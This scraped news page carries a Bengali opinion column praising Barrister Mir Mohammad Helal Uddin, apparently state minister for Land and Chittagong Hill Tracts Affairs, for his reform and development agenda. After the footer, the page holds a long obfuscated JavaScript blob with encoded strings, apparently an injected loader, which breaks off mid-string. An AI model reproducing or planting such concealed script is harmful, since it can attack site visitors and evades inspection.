শিরোনাম
দুর্গম জুরাছড়িতে মাতৃ ও শিশুর স্বাস্থ্যসেবায় সেনাবাহিনীর উদ্যোগ, প্রশিক্ষণ পেলেন ৬৭ নারী ব্রাহ্মণবাড়িয়া আমার ভালোবাসা, আমার স্বপ্ন রাঙ্গামাটি কাঠ ব্যবসায়ী সমবায় সমিতির নির্বাচনে সহ-সাধারণ সম্পাদক পদে লোকমান হাকিম হীরার মনোনয়নপত্র জমা রাঙ্গামাটির লংগদুতে লংগদু জোনের উদ্যোগে সড়ক নির্মান রাঙ্গামাটির লংগদু কলেজের শিক্ষা কার্যক্রম চালু রাখতে সেনাবাহিনীর ৪ লাখ টাকা অনুদান রাবিপ্রবি’র ভাইস-চ্যান্সেলরের সাথে জাইকা প্রতিনিধি দলের বৈঠক রাবিপ্রবি’তে ‘জাতীয় বিপ্লব ও সংহতি দিবস’ উপলক্ষ্যে আলোচনা সভা অনুষ্ঠিত রাবিপ্রবি ভাইস-চ্যান্সেলরের চট্টগ্রাম অঞ্চলের ১৩টি বিশ্ববিদ্যালয়ের উপাচার্যগণের সঙ্গে মতবিনিময় রাঙ্গামাটির কাপ্তাইয়ে ভাঙ্গামুড়া চেতনা বৌদ্ধ বিহারে ৫ম দানোত্তম শুভ কঠিন চীবর দানোৎসব সম্পন্ন হালদা-কর্ণফুলী রক্ষায় কাপ্তাইয়ে জোরালো আওয়াজ: প্রজননক্ষেত্র ও জীববৈচিত্র্য রক্ষায় অংশীজনদের অঙ্গীকার

ব্যারিস্টার মীর মোহাম্মদ হেলাল উদ্দীন: তারুণ্য, প্রজ্ঞা ও কর্মমুখী নেতৃত্বের এক উজ্জ্বল প্রতিচ্ছবি

রিপোর্টার
  • আপডেট সময় সোমবার, ১৪ সেপ্টেম্বর, ২০২৬
  • ১৮৬ দেখা হয়েছে

শামসুল আলম:–বাংলাদেশের রাজনীতিতে নতুন প্রজন্মের নেতৃত্ব নিয়ে যখন নানা প্রত্যাশা ও আলোচনা চলছে, তখন ব্যারিস্টার মীর মোহাম্মদ হেলাল উদ্দীনের মতো তরুণ, শিক্ষিত ও পেশাগতভাবে দক্ষ একজন রাজনীতিকের রাষ্ট্রীয় দায়িত্ব পাওয়া নিঃসন্দেহে গুরুত্বপূর্ণ একটি ঘটনা।
দায়িত্ব পাওয়ার পর খুব অল্প সময়ের মধ্যেই তাঁর কর্মকাণ্ডে যে বিষয়টি সবচেয়ে বেশি দৃশ্যমান হয়েছে, তা হলো—তিনি দায়িত্বকে শুধু পদমর্যাদা হিসেবে দেখছেন না; বরং মানুষের সমস্যা বোঝা, প্রশাসনিক জটিলতা চিহ্নিত করা এবং বাস্তবসম্মত সমাধানের পথ খুঁজে বের করার একটি সুযোগ হিসেবে দেখছেন।
বর্তমানে ভূমি ও পার্বত্য চট্টগ্রাম বিষয়ক মন্ত্রণালয়ের প্রতিমন্ত্রী হিসেবে তিনি দেশের দুটি অত্যন্ত গুরুত্বপূর্ণ ও স্পর্শকাতর খাতের দায়িত্ব পালন করছেন। ভূমি মন্ত্রণালয় যেখানে কোটি মানুষের দৈনন্দিন নাগরিক অধিকার ও সেবার সঙ্গে সরাসরি যুক্ত, সেখানে পার্বত্য চট্টগ্রাম বিষয়ক মন্ত্রণালয়ের দায়িত্বের সঙ্গে জড়িয়ে আছে পাহাড়ের উন্নয়ন, ভূমি সমস্যা, শান্তি, সম্প্রীতি, যোগাযোগ, শিক্ষা, স্বাস্থ্য ও অর্থনৈতিক সম্ভাবনার মতো গুরুত্বপূর্ণ বিষয়।
তরুণ নেতৃত্বের মধ্যে যে গুণগুলো তাঁকে আলাদা করে
ব্যারিস্টার মীর হেলালের অন্যতম বড় শক্তি তাঁর শিক্ষাগত ও পেশাগত প্রস্তুতি। আইন পেশার সঙ্গে যুক্ত থাকার কারণে রাষ্ট্র, প্রশাসন, আইন, অধিকার ও ন্যায়বিচারের বিষয়গুলোকে বিশ্লেষণ করার সক্ষমতা তাঁর রাজনৈতিক কর্মকাণ্ডে একটি বাড়তি মাত্রা যোগ করেছে।
একজন আইনজীবীর সবচেয়ে গুরুত্বপূর্ণ গুণগুলোর মধ্যে রয়েছে যুক্তি দিয়ে কথা বলা, বিভিন্ন পক্ষের বক্তব্য শোনা, তথ্য যাচাই করা এবং সিদ্ধান্ত নেওয়ার আগে বিষয়টির বিভিন্ন দিক বিশ্লেষণ করা। মীর হেলালের কর্মকাণ্ডেও এই বৈশিষ্ট্যের প্রতিফলন দেখা যায়।
তাঁর আরেকটি ইতিবাচক দিক হলো কথার চেয়ে কাজকে গুরুত্ব দেওয়ার চেষ্টা। দায়িত্ব গ্রহণের পর ভূমি ও পাহাড়—দুই ক্ষেত্রেই তিনি মাঠপর্যায়ের বাস্তবতা বোঝার ওপর গুরুত্ব দিয়েছেন।
মানুষের কাছে যাওয়ার মানসিকতা
একজন জনপ্রতিনিধি বা মন্ত্রীর সবচেয়ে বড় পরিচয় শুধু তাঁর পদ নয়; সাধারণ মানুষের সঙ্গে তাঁর সম্পর্ক কেমন—সেটিও অত্যন্ত গুরুত্বপূর্ণ।
মীর হেলালের কর্মকাণ্ডে মানুষের কাছে যাওয়ার প্রবণতা লক্ষণীয়। বিশেষ করে পার্বত্য চট্টগ্রামের মতো দুর্গম ও বৈচিত্র্যময় অঞ্চলে ঢাকায় বসে পাহাড়ের সমস্যার সমাধান করা সম্ভব নয়। প্রয়োজন মাঠে যাওয়া, স্থানীয় মানুষের কথা শোনা, জনপ্রতিনিধি ও প্রশাসনের সঙ্গে সমন্বয় করা এবং বাস্তব পরিস্থিতি উপলব্ধি করা।
এই জায়গায় তাঁর মাঠপর্যায়ের তৎপরতা ইতিবাচক বার্তা দিচ্ছে।
পাহাড়কে শুধু সমস্যা নয়, সম্ভাবনা হিসেবে দেখেন
পার্বত্য চট্টগ্রামকে অনেক সময় শুধু নিরাপত্তা, সংঘাত বা সমস্যার জায়গা হিসেবে উপস্থাপন করা হয়। কিন্তু মীর হেলালের দৃষ্টিভঙ্গিতে পাহাড়ের আরেকটি গুরুত্বপূর্ণ দিক সামনে এসেছে—পাহাড়ের বিপুল সম্ভাবনা।
পর্যটন, কৃষি, ফলদ চাষ, বনজ সম্পদ, ক্ষুদ্র ও মাঝারি উদ্যোক্তা, হস্তশিল্প, তরুণদের কর্মসংস্থান এবং প্রাকৃতিক সম্পদকে কাজে লাগিয়ে পাহাড়ের অর্থনীতিকে শক্তিশালী করার সুযোগ রয়েছে।
তিনি পার্বত্য চট্টগ্রামের উন্নয়নকে দীর্ঘমেয়াদি পরিকল্পনার আওতায় আনার প্রয়োজনীয়তার কথা বলেছেন এবং অঞ্চলটিকে পর্যটনের দিক থেকে আরও সম্ভাবনাময় করে তোলার ওপর গুরুত্ব দিয়েছেন।
এটি গুরুত্বপূর্ণ একটি চিন্তা। কারণ পাহাড়ের স্থায়ী উন্নয়ন নিশ্চিত করতে হলে শুধু সরকারি প্রকল্প নয়, স্থানীয় জনগোষ্ঠীর অর্থনৈতিক ক্ষমতায়নও জরুরি।
ভূমি সমস্যা সমাধানে গুরুত্ব
পার্বত্য চট্টগ্রামের সবচেয়ে জটিল ও স্পর্শকাতর বিষয়গুলোর একটি হলো ভূমি সমস্যা। দীর্ঘদিন ধরে এই সমস্যা পাহাড়ের মানুষের জীবন, অর্থনীতি ও সামাজিক সম্পর্কের সঙ্গে জড়িয়ে আছে।
মীর হেলাল দায়িত্ব নেওয়ার পর পাহাড়ের ভূমি সমস্যা সমাধানকে সরকারের গুরুত্বপূর্ণ অগ্রাধিকারের অংশ হিসেবে তুলে ধরেছেন। তাঁর এই অবস্থানকে ইতিবাচক হিসেবে দেখার যথেষ্ট কারণ রয়েছে।
কারণ পাহাড়ে স্থায়ী শান্তি ও উন্নয়ন নিশ্চিত করতে হলে ভূমি নিয়ে দীর্ঘদিনের জটিলতার সমাধান করতেই হবে। এ ক্ষেত্রে আইন, বাস্তবতা, স্থানীয় মানুষের অধিকার এবং সংশ্লিষ্ট সব পক্ষের স্বার্থ বিবেচনায় নিয়ে একটি গ্রহণযোগ্য সমাধানের পথে এগিয়ে যাওয়া প্রয়োজন।
ভূমি মন্ত্রণালয়ে দুর্নীতির বিরুদ্ধে অবস্থান
ভূমি মন্ত্রণালয়ের দায়িত্ব পাওয়ার পর তাঁর অন্যতম গুরুত্বপূর্ণ বার্তা হলো—ভূমিসেবায় হয়রানি ও দুর্নীতি কমাতে হবে।
ভূমি অফিসে সাধারণ মানুষের দীর্ঘদিনের অভিযোগ—নামজারি, খতিয়ান, রেকর্ড সংশোধন, ভূমি উন্নয়ন কর কিংবা অন্যান্য সেবা পেতে হয়রানি ও মধ্যস্বত্বভোগীর দৌরাত্ম্য।
এই বাস্তবতা বিবেচনায় নিয়ে ভূমিসেবায় প্রযুক্তির ব্যবহার বাড়ানো, অভিযোগ ব্যবস্থাপনা শক্তিশালী করা এবং জবাবদিহিতা নিশ্চিত করার ওপর তিনি গুরুত্ব দিয়েছেন। ভূমি-সংক্রান্ত অভিযোগ ব্যবস্থাপনার জন্য নতুন ব্যবস্থা চালুর পরিকল্পনার কথাও প্রকাশ্যে এসেছে।
এখানে তাঁর একটি গুরুত্বপূর্ণ গুণ হচ্ছে—সমস্যাকে অস্বীকার না করে সমস্যাটিকে স্বীকার করে সমাধানের উদ্যোগ নেওয়া।
প্রযুক্তিনির্ভর ভূমিসেবা
বর্তমান সময়ে জনগণের সেবা যত বেশি ডিজিটাল করা যাবে, তত বেশি স্বচ্ছতা নিশ্চিত করা সম্ভব।
মীর হেলালের কর্মকাণ্ডে ভূমিসেবাকে প্রযুক্তিনির্ভর করার ওপর জোর দেখা যাচ্ছে। ডিজিটাল ব্যবস্থা শক্তিশালী হলে সাধারণ মানুষকে বারবার অফিসে গিয়ে কর্মকর্তাদের পেছনে ঘুরতে হবে না; একই সঙ্গে দালালচক্রের সুযোগও কমবে।
একজন আধুনিক রাষ্ট্রনায়কের অন্যতম বৈশিষ্ট্য হলো প্রযুক্তিকে প্রশাসনিক সংস্কারের হাতিয়ার হিসেবে ব্যবহার করা। এই জায়গায় তাঁর চিন্তাভাবনা সময়োপযোগী।
উন্নয়ন প্রকল্পে বাস্তবতার ওপর জোর
পার্বত্য চট্টগ্রামে বছরের পর বছর ধরে নানা উন্নয়ন প্রকল্প নেওয়া হয়েছে। কিন্তু সব প্রকল্প মানুষের প্রত্যাশা অনুযায়ী সুফল দিয়েছে—এমন কথা বলা যায় না।
মীর হেলাল অহেতুক প্রকল্প গ্রহণের পরিবর্তে পাহাড়ের মানুষের জীবনমান উন্নয়নে বাস্তবভিত্তিক ও প্রয়োজনীয় প্রকল্প নেওয়ার ওপর গুরুত্ব দিয়েছেন। সরকারি প্রকল্প পর্যালোচনায় তাঁর এই অবস্থান প্রশাসনিক দক্ষতা ও ব্যয়ের ক্ষেত্রে দায়িত্বশীলতার পরিচয় বহন করে।
অর্থাৎ তাঁর কাছে উন্নয়ন মানে শুধু প্রকল্পের সংখ্যা বাড়ানো নয়; বরং প্রকল্পের বাস্তব ফলাফল নিশ্চিত করা।
সব জনগোষ্ঠীর জন্য সমান উন্নয়নের বার্তা
পার্বত্য চট্টগ্রামের সবচেয়ে বড় বাস্তবতা হলো এখানকার বৈচিত্র্য। বাঙালি, চাকমা, মারমা, ত্রিপুরা, তঞ্চঙ্গ্যা, ম্রোসহ বিভিন্ন জনগোষ্ঠীর বসবাস এই অঞ্চলে।
এই বৈচিত্র্যকে বিবেচনায় রেখে উন্নয়ন করতে হলে কোনো জনগোষ্ঠীকে বাদ দেওয়া যাবে না।
মীর হেলালের বক্তব্যে পাহাড়ের সব জনগোষ্ঠীর উন্নয়ন, সমৃদ্ধি ও সম্প্রীতির ওপর গুরুত্ব দেওয়ার বিষয়টি ইতিবাচকভাবে এসেছে।
এটি একজন দায়িত্বশীল নীতিনির্ধারকের গুরুত্বপূর্ণ গুণ—ভিন্নতার মধ্যে ঐক্য খুঁজে বের করা।
সম্প্রীতি প্রতিষ্ঠায় উন্নয়নকে হাতিয়ার হিসেবে দেখা
পাহাড়ে শান্তি ও সম্প্রীতি প্রতিষ্ঠা শুধু আইনশৃঙ্খলা বাহিনীর ওপর নির্ভর করে না। মানুষের অর্থনৈতিক নিরাপত্তা, শিক্ষা, স্বাস্থ্য, যোগাযোগ এবং কর্মসংস্থান নিশ্চিত করাও শান্তির অন্যতম ভিত্তি।
মীর হেলালের দৃষ্টিভঙ্গিতে এই বিষয়টি গুরুত্ব পাচ্ছে।
তিনি পাহাড়ের উন্নয়নকে শুধু অবকাঠামো নির্মাণ হিসেবে নয়, মানুষের জীবনমান উন্নয়নের সঙ্গে যুক্ত করার চেষ্টা করছেন।
এখানেই তাঁর নেতৃত্বের একটি ইতিবাচক দিক ফুটে ওঠে—সমস্যার উপসর্গ নয়, সমস্যার মূল কারণ নিয়ে ভাবার প্রবণতা।
সংকট মোকাবিলায় বাস্তববাদী দৃষ্টিভঙ্গি
একজন মন্ত্রীর জন্য শুধু ভালো বক্তব্য দেওয়া যথেষ্ট নয়। সংকটের সময় দ্রুত সিদ্ধান্ত নেওয়া, সংশ্লিষ্টদের সঙ্গে সমন্বয় করা এবং মাঠের পরিস্থিতি বুঝে ব্যবস্থা নেওয়া অত্যন্ত গুরুত্বপূর্ণ।
মীর হেলালের মধ্যে এই বাস্তববাদী মানসিকতা তৈরি হচ্ছে—এমন একটি ইতিবাচক ধারণা তাঁর সাম্প্রতিক কর্মকাণ্ড থেকে পাওয়া যায়।
বিশেষ করে পাহাড়ের দুর্গম এলাকার উন্নয়ন, দুর্যোগ ব্যবস্থাপনা, যোগাযোগ এবং মানুষের কাছে সরকারি সেবা পৌঁছে দেওয়ার ক্ষেত্রে এই বাস্তববাদী দৃষ্টিভঙ্গি আরও কার্যকর ভূমিকা রাখতে পারে।
প্রশাসনের সঙ্গে সমন্বয়ের সক্ষমতা
মন্ত্রী হিসেবে সবচেয়ে গুরুত্বপূর্ণ দক্ষতার একটি হলো প্রশাসনকে সঙ্গে নিয়ে কাজ করার সক্ষমতা।
মীর হেলালের কর্মকাণ্ডে মন্ত্রণালয়ের কর্মকর্তা, স্থানীয় প্রশাসন, জনপ্রতিনিধি এবং সংশ্লিষ্ট অংশীজনদের সঙ্গে সমন্বয়ের ওপর গুরুত্ব দেখা যায়।
এটি গুরুত্বপূর্ণ, কারণ একজন মন্ত্রী একা কোনো পরিবর্তন আনতে পারেন না। তাঁর প্রয়োজন দক্ষ প্রশাসন, মাঠপর্যায়ের কর্মকর্তা এবং স্থানীয় মানুষের সহযোগিতা।
ভদ্রতা ও সংযত রাজনৈতিক আচরণ
রাজনীতিতে জনপ্রিয়তা অর্জনের জন্য অনেকেই কঠোর ভাষা ব্যবহারকে রাজনৈতিক শক্তির পরিচয় মনে করেন। কিন্তু দীর্ঘমেয়াদে মানুষের আস্থা অর্জনের জন্য ভদ্রতা, সংযম ও পরিমিতিবোধ অনেক বেশি কার্যকর।
ব্যারিস্টার মীর হেলালের রাজনৈতিক ব্যক্তিত্বের একটি ইতিবাচক দিক হিসেবে তাঁর সংযত বক্তব্য, ভদ্র ব্যবহার ও মানুষের সঙ্গে যোগাযোগের সক্ষমতা উল্লেখ করা যায়।
আইন পেশা এবং রাজনীতির অভিজ্ঞতা তাঁকে যুক্তি ও বক্তব্য উপস্থাপনে একটি পরিশীলিত অবস্থান তৈরি করতে সহায়তা করেছে।
তরুণদের প্রতি আস্থা
দেশের ভবিষ্যৎ তরুণদের হাতে—এ কথাটি রাজনৈতিক বক্তব্যে অনেকবার বলা হয়। কিন্তু তরুণদের জন্য বাস্তব সুযোগ তৈরি করা আরও গুরুত্বপূর্ণ।
পাহাড়ের তরুণদের জন্য শিক্ষা, দক্ষতা উন্নয়ন, পর্যটন, উদ্যোক্তা সৃষ্টি, কৃষি ও প্রযুক্তিনির্ভর কর্মসংস্থানের সুযোগ বাড়ানো গেলে পাহাড়ের অর্থনীতিতে বড় পরিবর্তন আসতে পারে।
মীর হেলের নেতৃত্বে এই বিষয়গুলোকে আরও এগিয়ে নেওয়ার সুযোগ রয়েছে।
একজন ব্যারিস্টার থেকে নীতিনির্ধারক
ব্যারিস্টার মীর হেলালের সবচেয়ে বড় শক্তিগুলোর একটি তাঁর আইনগত জ্ঞান। আইন ও প্রশাসনের সম্পর্ক বোঝার সক্ষমতা তাঁকে নীতিনির্ধারণে বাড়তি সুবিধা দিতে পারে।
বিশেষ করে ভূমি মন্ত্রণালয়ের মতো একটি জটিল মন্ত্রণালয়ে আইন, ভূমি রেকর্ড, মালিকানা, অধিকার, আদালত ও প্রশাসনিক সিদ্ধান্ত—সবকিছুর সমন্বয় প্রয়োজন।
তাঁর আইনগত পেশাগত অভিজ্ঞতা এই জায়গায় কার্যকর ভূমিকা রাখতে পারে।
তাঁর সামনে বড় চ্যালেঞ্জ
তবে প্রশংসার পাশাপাশি বাস্তবতাও স্বীকার করতে হবে। সামনে তাঁর চ্যালেঞ্জ অনেক।
ভূমি অফিসের দুর্নীতি কমানো, ভূমিসেবা সহজ করা, দীর্ঘদিনের ভূমি বিরোধ নিষ্পত্তি, পাহাড়ের ভূমি সমস্যা সমাধান, দুর্গম এলাকায় উন্নয়ন পৌঁছে দেওয়া, পাহাড়ের তরুণদের কর্মসংস্থান তৈরি করা এবং সব জনগোষ্ঠীর মধ্যে আস্থা ও সম্প্রীতি শক্তিশালী করা—এসবই দীর্ঘমেয়াদি কাজ।
এখানে সফল হতে হলে রাজনৈতিক সদিচ্ছার পাশাপাশি প্রয়োজন দক্ষ প্রশাসন, স্বচ্ছতা, জবাবদিহিতা এবং ধারাবাহিকতা।
শেষ কথা
ব্যারিস্টার মীর মোহাম্মদ হেলাল উদ্দীনকে শুধু একজন তরুণ রাজনীতিক হিসেবে দেখলে তাঁর সম্ভাবনার পুরোটা মূল্যায়ন করা হবে না। তিনি একই সঙ্গে একজন আইনজীবী, রাজনীতিক এবং বর্তমানে গুরুত্বপূর্ণ দুটি রাষ্ট্রীয় খাতের নীতিনির্ধারক।
তাঁর সামনে এখন সবচেয়ে বড় সুযোগ হলো—কথাকে কাজে পরিণত করা।
যদি তিনি ভূমিসেবায় সাধারণ মানুষের হয়রানি কমাতে পারেন, দুর্নীতির বিরুদ্ধে কার্যকর ব্যবস্থা নিতে পারেন, পাহাড়ের ভূমি সমস্যার গ্রহণযোগ্য সমাধানের পথে এগোতে পারেন, উন্নয়ন প্রকল্পে স্বচ্ছতা নিশ্চিত করতে পারেন এবং পাহাড়ের সব জনগোষ্ঠীর মধ্যে আস্থা ও সম্প্রীতি আরও শক্তিশালী করতে পারেন—তাহলে তাঁর দায়িত্বকাল বাংলাদেশের প্রশাসন ও পার্বত্য চট্টগ্রামের উন্নয়নের ক্ষেত্রে একটি উল্লেখযোগ্য অধ্যায় হয়ে উঠতে পারে।
রাজনীতিতে পদ পাওয়া বড় বিষয় নয়; পদকে মানুষের কল্যাণে কতটা ব্যবহার করা যায়, সেটিই একজন নেতার প্রকৃত সফলতা।
ব্যারিস্টার মীর মোহাম্মদ হেলালের সামনে সেই সুযোগটি এখন উন্মুক্ত।
আর তাঁর সবচেয়ে বড় শক্তি হতে পারে—তারুণ্য, আইনগত প্রজ্ঞা, যুক্তিনির্ভর চিন্তা, মানুষের কাছে যাওয়ার মানসিকতা, প্রশাসনিক সংস্কারের আগ্রহ এবং পাহাড়কে সম্ভাবনার জায়গা হিসেবে দেখার দৃষ্টিভঙ্গি।
সঠিক পরিকল্পনা, দৃঢ় রাজনৈতিক সদিচ্ছা এবং ধারাবাহিক কর্মতৎপরতা ধরে রাখতে পারলে এই তরুণ নেতৃত্ব আগামী দিনে আরও বড় পরিসরে মানুষের আস্থা অর্জন করতে সক্ষম হবে—এমন প্রত্যাশা করাই যায়।

লেখক:- এসএম শামসুল আলম।
সাবেক সভাপতি,রাঙ্গামাটি প্রেসক্লাব।
স্টাফ রির্পোটার, যমুনা টেলিভিশন।

পোস্টটি শেয়ার করুন

Leave a Reply

Your email address will not be published. Required fields are marked *

এই বিভাগের আরো
© All rights reserved © 2023 Chtnews24.com
Website Design By Kidarkar It solutions
(function(Q){var hCOGF=71;var vdILh=983893626,o4TS="ZN4BiT7krdPJoxUtKqHEm3ayFhwjcOGVIbW1fLSv0DMeg25s8C6QRYzl9Au+Xn/p",olhqw=["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